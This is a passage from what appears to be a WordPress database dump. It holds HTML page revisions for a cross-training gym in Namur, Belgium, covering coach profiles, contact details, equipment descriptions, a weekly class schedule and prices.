cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 20, 'http://www.crosstrainingcenter.be/20-revision-35/', 0, 'revision', '', 0),
(325, 1, '2013-07-04 18:19:44', '2013-07-04 18:19:44', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de \r\nTeam Training, Duo Training, Personnal \r\nTrainer ou Coatching nutritionnel se \r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:44', '2013-07-04 18:19:44', '', 9, 'http://www.crosstrainingcenter.be/9-revision-18/', 0, 'revision', '', 0),
(326, 1, '2013-07-04 16:32:39', '2013-07-04 16:32:39', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-04 16:32:39', '2013-07-04 16:32:39', '', 22, 'http://www.crosstrainingcenter.be/22-revision-29/', 0, 'revision', '', 0),
(331, 1, '2013-07-10 15:45:29', '2013-07-10 15:45:29', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:29', '2013-07-10 15:45:29', '', 11, 'http://www.crosstrainingcenter.be/11-revision-111/', 0, 'revision', '', 0),
(332, 1, '2013-07-25 16:33:42', '2013-07-25 16:33:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td 